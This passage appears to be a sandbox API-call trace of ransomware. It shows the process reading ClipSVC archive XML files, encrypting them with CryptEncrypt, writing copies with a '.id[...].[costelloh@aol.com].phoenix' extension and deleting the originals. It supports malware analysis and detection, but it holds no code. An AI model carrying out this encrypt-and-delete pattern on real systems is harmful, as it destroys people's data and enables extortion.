	[0242.501] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2794) returned 1
	[0242.501] CloseHandle (hObject=0x2e4) returned 1
	[0242.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml")) returned 0x20
	[0242.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0242.502] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.502] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.502] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0242.502] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.502] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xaea, lpOverlapped=0x0) returned 1
	[0242.549] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xaf0) returned 1
	[0242.549] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xaf0, lpOverlapped=0x0) returned 1
	[0242.550] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0242.550] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.550] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0242.550] CryptDestroyKey (hKey=0x151040) returned 1
	[0242.550] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0242.550] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0242.550] CloseHandle (hObject=0x2e4) returned 1
	[0242.551] CloseHandle (hObject=0x2cc) returned 1
	[0242.551] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml")) returned 1
	[0242.552] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0242.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.552] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2630) returned 1
	[0242.552] CloseHandle (hObject=0x2cc) returned 1
	[0242.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml")) returned 0x20
	[0242.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.552] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.552] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0242.553] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0242.553] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.553] ReadFile (in: hFile=0x2cc, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa46, lpOverlapped=0x0) returned 1
	[0242.730] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50, dwBufLen=0xa50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50) returned 1
	[0242.730] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa50, lpOverlapped=0x0) returned 1
	[0242.731] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0242.731] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.731] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0242.731] CryptDestroyKey (hKey=0x151780) returned 1
	[0242.731] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0242.731] CryptDestroyKey (hKey=0x151080) returned 1
	[0242.731] CloseHandle (hObject=0x2cc) returned 1
	[0242.731] CloseHandle (hObject=0x2e4) returned 1
	[0242.731] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\0a8c1492-65ca-6a01-de25-0e183559d10d.xml")) returned 1
	[0242.732] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0242.732] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0242.733] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3179) returned 1
	[0242.733] CloseHandle (hObject=0x2e4) returned 1
	[0242.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml")) returned 0x20
	[0242.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.734] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0242.734] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.734] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.734] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.734] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0242.734] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.734] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc6b, lpOverlapped=0x0) returned 1
	[0243.243] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc70, dwBufLen=0xc70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc70) returned 1
	[0243.243] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc70, lpOverlapped=0x0) returned 1
	[0243.244] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1514c0) returned 1
	[0243.244] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.244] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0243.244] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0243.244] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0243.244] CryptDestroyKey (hKey=0x151140) returned 1
	[0243.244] CloseHandle (hObject=0x2e4) returned 1
	[0243.244] CloseHandle (hObject=0x2cc) returned 1
	[0243.244] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml")) returned 1
	[0243.431] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0243.431] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0243.436] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2619) returned 1
	[0243.436] CloseHandle (hObject=0x2ec) returned 1
	[0243.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml")) returned 0x20
	[0243.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0243.436] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.436] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0243.440] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0243.440] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.440] ReadFile (in: hFile=0x2ec, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa3b, lpOverlapped=0x0) returned 1
	[0243.586] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa40, dwBufLen=0xa40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa40) returned 1
	[0243.586] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa40, lpOverlapped=0x0) returned 1
	[0243.587] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151580) returned 1
	[0243.587] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.587] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0243.587] CryptDestroyKey (hKey=0x151580) returned 1
	[0243.587] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0243.587] CryptDestroyKey (hKey=0x151380) returned 1
	[0243.587] CloseHandle (hObject=0x2ec) returned 1
	[0243.588] CloseHandle (hObject=0x2cc) returned 1
	[0243.588] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28748306-9f02-a5d7-6ded-4459fddadc31.xml")) returned 1
	[0243.588] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0243.589] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0243.589] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2629) returned 1
	[0243.589] CloseHandle (hObject=0x2cc) returned 1
	[0243.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml")) returned 0x20
	[0243.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.589] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0243.590] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.590] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0243.590] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0243.590] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151680) returned 1
	[0243.590] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.590] ReadFile (in: hFile=0x2cc, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa45, lpOverlapped=0x0) returned 1
	[0243.753] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50, dwBufLen=0xa50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50) returned 1
	[0243.753] WriteFile (in: hFile=0x2ec, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa50, lpOverlapped=0x0) returned 1
	[0243.755] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0243.755] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0243.755] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0243.755] CryptDestroyKey (hKey=0x151400) returned 1
	[0243.755] WriteFile (in: hFile=0x2ec, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0243.755] CryptDestroyKey (hKey=0x151680) returned 1
	[0243.755] CloseHandle (hObject=0x2cc) returned 1
	[0243.755] CloseHandle (hObject=0x2ec) returned 1
	[0243.755] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2a3adcd0-4ddc-f3d2-6bcb-f11f9cbc1e2c.xml")) returned 1
	[0243.756] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
